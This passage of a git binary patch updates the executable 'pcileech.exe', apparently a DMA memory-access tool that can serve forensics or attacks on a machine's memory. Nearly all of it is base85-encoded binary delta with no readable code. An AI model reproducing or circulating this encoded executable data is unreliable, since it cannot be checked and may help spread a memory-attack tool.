z<&e+x>t4pG3<;Cy*#prfln0n}*Ib8S(6fT(zI+jLwY1XLk~YrSc*vw@`D79otRd0Z zKpSWy@Vks>7(WYK^?}NRzB(0mO)9^q@(+EzSR-xt_d9Eh@$YCWZE0yuj*N_e(d_er zq4^5I=<<;W4bw<2`z+Gm;g6@3{xhCMrpj*_$``;5g8lH{J|TDo;SEDM+pCQ8c|*B{ z`=5H1J1OPE9fN2|DY0~3N;y#?jC)eb$wleBl9Y04s&^7n%8)Khco6YjFM*<8PxDP9jV=aKp0b zC-x~FkC>xdfDxr7_3MC(OBDEbGptrSUssD{z7`YG1RjgYiwJjPI#n z{B2=|Wd+{N$Kakry4|O~NH)k1$*6z>GJyY6p zmAiqj&ob#W3#g@XbP40Z(n3glo6n>K7csV&@bcRg6<5yVD4;kMDb5SV#cN7lhN~~wv2H% zD<9rlz@+tZRi8@+6g4c;Zyc)+10VLt&FV1m?bM8=5QbW z`$t{?C8_ literal 0 HcmV?d00001 diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 2a691e9d1488cba4be0eb1b22bf4b18a314ff81f..bbe5479f2def1e639b9097a66de807671c9c04d0 100644 GIT binary patch delta 59475 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 